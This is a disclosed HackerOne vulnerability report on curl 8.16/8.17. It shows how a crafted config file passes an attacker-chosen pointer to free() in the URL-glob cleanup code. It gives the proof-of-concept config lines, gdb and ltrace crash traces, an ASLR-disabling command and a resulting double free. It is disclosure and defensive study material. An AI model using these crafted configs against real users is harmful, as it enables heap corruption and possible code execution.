HexBrain

curl · Report #3434543

Arbitrary free in curl's config file parsing.

Informativestatus
lowseverity
26upvotes
23 Nov 2025disclosed

How it was found

Summary:

arbitrary free (leading to possible double-free / use-after-free / memory corruption, depending on the program and the ability of what a we can do after freeing the pointer we control.

Statement clarifying if an AI was used to find the issue or generate the report: Yes I used AI to list down some resources related to this bug.

Affected version

  • curl 8.17.0 (x86_64-pc-linux-gnu) libcurl/8.17.0 OpenSSL/3.4.1 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 nghttp2/1.64.0 librtmp/2.3 OpenLDAP/2.6.9 Release-Date: 2025-11-05 Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp ws wss Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd

  • and curl 8.16.0 is also affected, different samples and different controlled parameters in the config file.

OS/kernel:

  • tested on Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1.

Steps To Reproduce:

1.>> touch host0.bin and open it (vim host0.bin): ........ F5027150 2. paste this :

-Z
--url "http://google.com/iernay{1-2}kFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJT"
--url "http://[::%2-socks5]:8080/"
--url google.com-Z[.-p].example.com"
--doh-url=127.0.0.1 
  1. Run :
>> gdb -ex "r" --args curl --config host0.bin

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x2e302e302e373231 ("127.0.0."?)
$rbx   : 0xffffffffffffff88
$rcx   : 0x0000555555603aa0  →  0xffffffff00000001
$rdx   : 0x0               
$rsp   : 0x00007fffffffd440  →  0x00007fffffffd6c8  →  0x0000000000000001
$rbp   : 0x00007fffffffd490  →  0x00007fffffffd6e0  →  0x00007fffffffd7b0  →  0x00007fffffffd7f0  →  0x00007fffffffd830  →  0x00007fffffffd890  →  0x00007fffffffd920  →  0x00007fffffffd960
$rsi   : 0x2e302e302e373221 ("!27.0.0."?)
$rdi   : 0x2e302e302e373231 ("127.0.0."?)
$rip   : 0x00007ffff7cb24aa  →  <free+001a> mov rax, QWORD PTR [rdi-0x8]
$r8    : 0x2               
$r9    : 0x1               
$r10   : 0x7               
$r11   : 0x00005555556023d0  →  0x0000555000355422 (""T5"?)
$r12   : 0x0               
$r13   : 0x00007fffffffdb28  →  0x00007fffffffdec9  →  "NMAP_PRIVILEGED="
$r14   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →   jg 0x555555554047
$r15   : 0x00005555555c6a18  →  0x000055555555e970  →  <__do_global_dtors_aux+0000> endbr64 
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd440│+0x0000: 0x00007fffffffd6c8  →  0x0000000000000001	 ← $rsp
0x00007fffffffd448│+0x0008: 0x000000000000000e
0x00007fffffffd450│+0x0010: 0x0000555555602c9d  →  ".-p].example.com""
0x00007fffffffd458│+0x0018: 0x00007fffffffd8b0  →  0x0000555555604920  →  0x00000003000bab1e
0x00007fffffffd460│+0x0020: 0x00007fffffffd490  →  0x00007fffffffd6e0  →  0x00007fffffffd7b0  →  0x00007fffffffd7f0  →  0x00007fffffffd830  →  0x00007fffffffd890  →  0x00007fffffffd920
0x00007fffffffd468│+0x0028: 0x000055555557e8a7  →  <glob_cleanup+00da> mov rax, QWORD PTR [rbp-0x18]
0x00007fffffffd470│+0x0030: 0x00007fffffffd8b0  →  0x0000555555604920  →  0x00000003000bab1e
0x00007fffffffd478│+0x0038: 0x00005555555cb618  →  0x00005555556019c0  →  0x632e656c676f6f00
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7cb249e <free+000e>      push   rbx
   0x7ffff7cb249f <free+000f>      sub    rsp, 0x18
   0x7ffff7cb24a3 <free+0013>      mov    rbx, QWORD PTR [rip+0x144956]        # 0x7ffff7df6e00
 → 0x7ffff7cb24aa <free+001a>      mov    rax, QWORD PTR [rdi-0x8]
   0x7ffff7cb24ae <free+001e>      mov    ebp, DWORD PTR fs:[rbx]
   0x7ffff7cb24b1 <free+0021>      test   al, 0x2
   0x7ffff7cb24b3 <free+0023>      jne    0x7ffff7cb2510 <__GI___libc_free+128>
   0x7ffff7cb24b5 <free+0025>      mov    rdx, QWORD PTR [rip+0x1448e4]        # 0x7ffff7df6da0
   0x7ffff7cb24bc <free+002c>      cmp    QWORD PTR fs:[rdx], 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7cb24aa in __GI___libc_free (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x2e302e302e373231)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
──────────────────────────────────────────────────
gef➤  

└─$ echo -ne "0x2e302e302e373231" |xxd -r -p |rev 127.0.0. # this is what we can control (for this config file)

I created this python script mutate.py(F5027147) that replaces the controlled data in heap0.bin (127.0.0.) with an address we need to pass to __GI___libc_freeand write a new config file vuln.conf

>> python mutate.py 0x4242424242424242 &&  gdb -ex "r" --args curl --config vuln.conf

─$ 
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4242424242424242 ("BBBBBBBB"?)
$rbx   : 0xffffffffffffff88
$rcx   : 0x0000555555603aa0  →  0xffffffff00000001
$rdx   : 0x0               
$rsp   : 0x00007fffffffd440  →  0x00007fffffffd6c8  →  0x0000000000000001
$rbp   : 0x00007fffffffd490  →  0x00007fffffffd6e0  →  0x00007fffffffd7b0  →  0x00007fffffffd7f0  →  0x00007fffffffd830  →  0x00007fffffffd890  →  0x00007fffffffd920  →  0x00007fffffffd960
$rsi   : 0x4242424242424232 ("2BBBBBBB"?)
$rdi   : 0x4242424242424242 ("BBBBBBBB"?)
$rip   : 0x00007ffff7cb24aa  →  <free+001a> mov rax, QWORD PTR [rdi-0x8]
$r8    : 0x2               
$r9    : 0x1               
$r10   : 0x7               
$r11   : 0x00005555556023d0  →  0x0000555000355422 (""T5"?)
$r12   : 0x0               
$r13   : 0x00007fffffffdb28  →  0x00007fffffffdec9  →  "NMAP_PRIVILEGED="
$r14   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →   jg 0x555555554047
$r15   : 0x00005555555c6a18  →  0x000055555555e970  →  <__do_global_dtors_aux+0000> endbr64 
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd440│+0x0000: 0x00007fffffffd6c8  →  0x0000000000000001	 ← $rsp
0x00007fffffffd448│+0x0008: 0x000000000000000e
0x00007fffffffd450│+0x0010: 0x0000555555602c9d  →  ".-p].example.com""
0x00007fffffffd458│+0x0018: 0x00007fffffffd8b0  →  0x0000555555604920  →  0x00000003000bab1e
0x00007fffffffd460│+0x0020: 0x00007fffffffd490  →  0x00007fffffffd6e0  →  0x00007fffffffd7b0  →  0x00007fffffffd7f0  →  0x00007fffffffd830  →  0x00007fffffffd890  →  0x00007fffffffd920
0x00007fffffffd468│+0x0028: 0x000055555557e8a7  →  <glob_cleanup+00da> mov rax, QWORD PTR [rbp-0x18]
0x00007fffffffd470│+0x0030: 0x00007fffffffd8b0  →  0x0000555555604920  →  0x00000003000bab1e
0x00007fffffffd478│+0x0038: 0x00005555555cb618  →  0x00005555556019c0  →  0x632e656c676f6f00
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7cb249e <free+000e>      push   rbx
   0x7ffff7cb249f <free+000f>      sub    rsp, 0x18
   0x7ffff7cb24a3 <free+0013>      mov    rbx, QWORD PTR [rip+0x144956]        # 0x7ffff7df6e00
 → 0x7ffff7cb24aa <free+001a>      mov    rax, QWORD PTR [rdi-0x8]
   0x7ffff7cb24ae <free+001e>      mov    ebp, DWORD PTR fs:[rbx]
   0x7ffff7cb24b1 <free+0021>      test   al, 0x2
   0x7ffff7cb24b3 <free+0023>      jne    0x7ffff7cb2510 <__GI___libc_free+128>
   0x7ffff7cb24b5 <free+0025>      mov    rdx, QWORD PTR [rip+0x1448e4]        # 0x7ffff7df6da0
   0x7ffff7cb24bc <free+002c>      cmp    QWORD PTR fs:[rdx], 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7cb24aa in __GI___libc_free (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x4242424242424242)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
gef➤  where 
#0  0x00007ffff7cb24aa in __GI___libc_free (mem=0x4242424242424242) at ./malloc/malloc.c:3375
#1  0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
#2  0x000055555557e7ba in glob_url (glob=0x5555555cb618 <globalconf+88>, 
    url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, 
    error=0x7ffff7df84e0 <_IO_2_1_stderr_>) at tool_urlglob.c:481
#3  0x0000555555575f32 in single_transfer (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, 
    skipped=0x7fffffffd86d) at tool_operate.c:1233
#4  0x000055555557769d in transfer_per_config (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, 
    skipped=0x7fffffffd86d) at tool_operate.c:2132
#5  0x0000555555577704 in create_transfer (share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
    at tool_operate.c:2151
#6  0x0000555555576a88 in add_parallel_transfers (multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, 
    addedp=0x7fffffffd8e1) at tool_operate.c:1486
#7  0x0000555555576f6a in parallel_transfers (share=0x5555555fff50) at tool_operate.c:1840
#8  0x00005555555777bd in run_all_transfers (share=0x5555555fff50, result=CURLE_OK) at tool_operate.c:2173
#9  0x0000555555577be7 in operate (argc=0x3, argv=0x7fffffffdb08) at tool_operate.c:2314
#10 0x0000555555573096 in main (argc=0x3, argv=0x7fffffffdb08) at tool_main.c:199
gef➤  frame 1 
#1  0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
499	          tool_safefree(glob->pattern[i].c.set.elem[elem]);
gef➤  list 
494	  if(glob->pattern) {
495	    for(i = 0; i < glob->size; i++) {
496	      if((glob->pattern[i].type == GLOB_SET) &&
497	         (glob->pattern[i].c.set.elem)) {
498	        for(elem = glob->pattern[i].c.set.size - 1; elem >= 0; --elem)
499	          tool_safefree(glob->pattern[i].c.set.elem[elem]);
500	        tool_safefree(glob->pattern[i].c.set.elem);
501	      }
502	    }
503	    tool_safefree(glob->pattern);
─────────────────────────────────────────────────────────

We can also confirm this using ltrace utility:

>>  ltrace curl --config vuln.conf
...................
..................
curl_easy_setopt(0x5555556123e0, 99, 1, 0x2777)                         = 0
curl_easy_setopt(0x5555556123e0, 0x4efb, 0x55555557a7d7, 1)             = 0
curl_easy_setopt(0x5555556123e0, 0x2749, 0x555555601500, 24)            = 0
curl_easy_setopt(0x5555556123e0, 43, 0, 0x2749)                         = 0
curl_easy_setopt(0x5555556123e0, 0x271a, 0x5555556016c8, 0)             = 0
curl_multi_add_handle(0x555555604920, 0x5555556123e0, 0x5555556123e0, 0x271a) = 0
curl_getenv(0x55555558f16b, 0x5555555fff50, 0, 0x7fffffffd89d)          = 0
curl_getenv(0x55555558f17a, 0x7fffffffef4f, 14, 79)                     = 0
curl_getenv(0x55555558f187, 0x55555558f17a, 12, 83)                     = 0
free(nil)                                                               = <void>
memset(0x5555555cb618, '\0', 80)                                        = 0x5555555cb618
malloc(96)                                                              = 0x555555600180
realloc(nil, 32)                                                        = 0x5555556019c0
memcpy(0x5555556019c0, "g", 1)                                          = 0x5555556019c0
memcpy(0x5555556019c1, "o", 1)                                          = 0x5555556019c1
memcpy(0x5555556019c2, "o", 1)                                          = 0x5555556019c2
memcpy(0x5555556019c3, "g", 1)                                          = 0x5555556019c3
memcpy(0x5555556019c4, "l", 1)                                          = 0x5555556019c4
memcpy(0x5555556019c5, "e", 1)                                          = 0x5555556019c5
memcpy(0x5555556019c6, ".", 1)                                          = 0x5555556019c6
memcpy(0x5555556019c7, "c", 1)                                          = 0x5555556019c7
memcpy(0x5555556019c8, "o", 1)                                          = 0x5555556019c8
memcpy(0x5555556019c9, "m", 1)                                          = 0x5555556019c9
memcpy(0x5555556019ca, "-", 1)                                          = 0x5555556019ca
memcpy(0x5555556019cb, "Z", 1)                                          = 0x5555556019cb
strchr("[.-p].example.com"", ']')                                       = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x55555560195a)            = 0x5555556039e0
memcpy(0x7fffffffd3c0, "[.-p]", 5)                                      = 0x7fffffffd3c0
curl_url_set(0x5555556039e0, 0, 0x7fffffffd3c0, 512)                    = 22
curl_url_cleanup(0x5555556039e0, 0x5555556001e0, 0x7ffff7cb2490, 49)    = 0x5555555cc010
malloc(8)                                                               = 0x5555556023d0
malloc(13)                                                              = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12)                              = 0x555555600220
strchr("[.-p].example.com"", ']')                                       = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c)        = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5)                                      = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512)                    = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49)    = 0x5555555cc010
realloc(0x555555600180, 192)                                            = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a)     = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
             ^
)        = 100
free(0x555555600220)                                                    = <void>
free(0x5555556023d0)                                                    = <void>
free(0x4242424242424242 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Now that we confirmed that we have control over the pointer passed to free(free(0x4242424242424242 <no return ...>) we can analyse our program and decide what we can do with it.

for Simplicity, I disabled ASLR at this point:

>> echo 0 > /proc/sys/kernel/randomize_va_space

ltrace -e free -o free.txt curl --config vuln.conf (F5027151) Now if I take any address that has been freed already, and write it in the config file (vuln.conf) I got this :

─$ python mutate.py  0x555555602dd0 && ltrace curl --config vuln.conf 
malloc(13)                                                              = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12)                              = 0x555555600220
strchr("[.-p].example.com"", ']')                                       = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c)        = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5)                                      = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512)                    = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49)    = 0x5555555cc010
realloc(0x555555600180, 192)                                            = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a)     = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
             ^
)        = 100
free(0x555555600220)                                                    = <void>
free(0x5555556023d0)                                                    = <void>
free(0x555555602dd0)                                                    = <void>
free(0x555555602dd0free(): double free detected in tcache 2
 <no return ...>
--- SIGABRT (Aborted) ---
+++ killed by SIGABRT +++

Notes

  • So this is one version of the config file, it's like I generated lots of curl paramaters and propagate them in curl's config file, so I managed to pass data that I can control to free (corrupt heap)

  • Each variant exposes different pieces of controllable data that eventually reach __GI___libc_free. Some values cannot be influenced because they originate from internal cURL symbols, when several other variants give full control over the pointer passed to free().

  • Note that I haven't managed to trigger the the same crash with C code ( using <curl/curl.h> ), but it might be feasible

  • This represents one variant of the config file exploitation. By generating multiple curl parameters and propagating them through curl's configuration file, I managed to pass controllable data to the free() function, leading to heap corruption.

  • Different variants expose varying degrees of controllable data that eventually reach __GI___libc_free(0x...). Some pointer values cannot be influenced as they originate from internal cURL symbols, while other variants provide full control over the pointer passed to free().

  • I have not managed to trigger the same crash using C code with <curl/curl.h>, though it might be feasible.

I set severity to Low, because:

  • Exploitation requires tricking a user into running a crafted config file, we can also use ~/.curlrc config file for suspecious parameters.

  • Curl is already capable to execute commands, (This vulnerability arises from how curl processes configuration files, not from any inherent command-execution capability).

  • This needs additional vulnerability (Arbitrary read, memory leak, ..) to bypass ASLR/Tcache Mitigation, unless we leverage the same bug to achieve Read/Write primitive to later it to bypass ASLR and Tcache Mitigations.

Supporting Material/References:

https://curl.se/

Impact

Impact: Controlled pointer passed to free --> potential double-free/use-after-free --> RCE / privilege escalation, depends on the environment where curl run.

  • Requires user to execute malicious config file

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original